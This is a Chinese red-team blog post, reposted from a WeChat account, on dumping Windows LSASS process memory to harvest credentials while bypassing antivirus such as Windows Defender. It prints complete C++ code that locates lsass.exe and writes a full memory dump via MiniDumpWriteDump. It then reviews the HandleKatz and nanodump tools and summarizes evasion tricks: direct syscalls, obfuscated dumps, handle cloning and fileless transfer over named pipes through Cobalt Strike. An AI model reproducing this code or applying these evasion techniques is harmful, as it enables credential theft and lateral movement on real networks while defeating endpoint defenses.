红队技巧-绕过杀软dump-Lsass内存

渗透技巧 2年前 (2021) admin
1,694 0 0

  点击蓝字关注我哦


前言

       dump lsass 进程是我们永远都逃不过话题,除非微软那天不用它保存凭据了,自然而然就不dump 它了,抓密码是渗透重要的环节,是横向扩展的基础,接下来讲讲见到如何绕过杀软dump lsass内存。



1.Procdump

老牌工具,这玩意,现在也不咋行了,虽然数字签名,但是人家杀软也不傻,虽然不敢杀你,删你文件,但是拦截你行为,是可以的

红队技巧-绕过杀软dump-Lsass内存

测试为windows denfender,不杀但是会拦。

这工具好像是调用MiniDumpWriteDump api来dump内存的,自己都可以用c++实现个

#include "stdafx.h"#include <windows.h>#include <DbgHelp.h>#include <iostream>#include <TlHelp32.h>using namespace std;
int main() { DWORD lsassPID = 0; HANDLE lsassHandle = NULL; HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); LPCWSTR processName = L""; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processName, L"lsass.exe") != 0) { Process32Next(snapshot, &processEntry); processName = processEntry.szExeFile; lsassPID = processEntry.th32ProcessID; } wcout << "[+]---Got lsass.exe PID: " << lsassPID << endl; } lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL); if (isDumped) { cout << "[+]---lsass dumped successfully!" << endl; } return 0;}

会调用dbghelp.dll 文件,所以需要给依赖

2.HandleKatz

github:https://github.com/codewhitesec/HandleKatz

这是Brucon2021会议提到的使用Lsass的克隆句来创建相同的混淆内存转储的一个实现,绕过windows defender dump lsass内存,但是现在应该不行了,但是国内的还是随便过的。

这个项目的特点是:

  1. 使用的是克隆lsass具柄,所以在 Lsass 上无法观察到 ProcessAccess事件。

  2. 系统调用将混淆转储写入磁盘

  3. 直接把功能转换成shellcode,拿来就能用

我觉得不好的地方就是他的加载器还是逃不过分配内存的短板,这个点我们可以改改,而且很容易改,比如不分配内存,直接放在.text段,就看大家怎么玩了

红队技巧-绕过杀软dump-Lsass内存

其实可以看看项目源码,特别有趣!!!,直接把实现dump lsass内存的shellcode进行bash64编码放在头文件的

红队技巧-绕过杀软dump-Lsass内存

现在作者学精了,把自己那段提取出来的shellcode base64给删了,之前这里都还有的,只有自己去提取了。

我最喜欢的亮点就是直接把核心的那段转换成shellcode,然后保存在程序的.text,然后通过函数的回调的方式执行并传递参数,精彩!!!!!

测试:

红队技巧-绕过杀软dump-Lsass内存

这是我虚拟机测试结果,居然成了,不可能,windows denfender 肯定是坏了!因为我很早就测过,dump不下来,进程被守护了,直接上真实物理机杀软,一直在更新。

红队技巧-绕过杀软dump-Lsass内存

物理数字杀软就没反应了,我就说嘛,咋今天又行了,随便把今天重点讲的项目nanodump给测了,结果是无压力过了,顺利dump出lsass内存

可以看到HandleKatz现在克隆句柄的操作都不行了,我记得之前还可以克隆具柄来着,但是dump lsass内存dump不下来,应该是被守护进程保护了,绕不过。

3.nanodump

这也是github上面的项目,很热乎,刚提交不交,被我无意间发现了,这就是个宝藏。

github 项目https://github.com/helpsystems/nanodump

这个项目的特点:

  • 使用系统调用(使用SysWhispers2)进行大多数操作

  • 可以选择在不接触磁盘的情况下下载转储或将其写入文件

  • 默认情况下,小型转储具有无效签名以避免检测

  • 通过忽略不相关的 DLL 来减小转储的大小,转储的大小往往在 10 MB 左右

  • 不需要提供 LSASS 的 PID(默认是不提供的)

  • 不调用dbghelp或任何其他库,所有转储逻辑都在 nanodump 中实现

  • 可以使用 .exe 版本在 Cobalt Strike 之外运行nanodumpz

值得一提的是,这个项目能过windows defender 进行dump lsass内存,且只把相关的内容给dump下来,非常的香!!!支持cs脚本使用,且是通过命名管道传输,不接触磁盘。

值得注意的是:

文件小是因为忽略lsass中的大部分内容并仅保留与 mimikatz 相关的那些,例如 kerberos.dll 和 wdigest.dll

编译就不说了,一个命令搞定,不能就两个。

本地测试:

红队技巧-绕过杀软dump-Lsass内存

cs上面测试,当然你首先得对抗windows denfender 上线:

红队技巧-绕过杀软dump-Lsass内存

用自带的脚本解密:

红队技巧-绕过杀软dump-Lsass内存

读取dmp文件

红队技巧-绕过杀软dump-Lsass内存






总结

       在攻防对抗中,杀软在不断学习进步,弥补自身的短板缺点,免杀技术在不断的更新,也是不断的为杀软提供规则库,免杀越来越艰难,是我们变弱了吗?我觉得是杀软变强了,每天都吸收了成百上千的样本的特征,规则在不断完善,检测体系在不断的完善。
       可以看到在dump lsass内存的手法上免杀成功总结大概几点
  1. 系统调用实现大部分功能

  2. 混淆内容

  3. 使用命名管道传输结果,实现无文件

  4. 不再调用dbghelp库文件

  5. 小型转储,无明显特征

       热爱免杀,热爱对抗。

红队技巧-绕过杀软dump-Lsass内存

END

红队技巧-绕过杀软dump-Lsass内存


红队技巧-绕过杀软dump-Lsass内存


看完记得点赞,关注哟,爱您!


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!



关注此公众号,回复”Gamma”关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!

在看你就赞赞我!
红队技巧-绕过杀软dump-Lsass内存


红队技巧-绕过杀软dump-Lsass内存
红队技巧-绕过杀软dump-Lsass内存
红队技巧-绕过杀软dump-Lsass内存
扫码关注我们
红队技巧-绕过杀软dump-Lsass内存


扫码领hacker资料,常用工具,以及各种福利


红队技巧-绕过杀软dump-Lsass内存

转载是一种动力 分享是一种美德


原文始发于微信公众号(Gamma实验室):红队技巧-绕过杀软dump-Lsass内存

版权声明:admin 发表于 2021年11月15日 上午12:00。
转载请注明:红队技巧-绕过杀软dump-Lsass内存 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...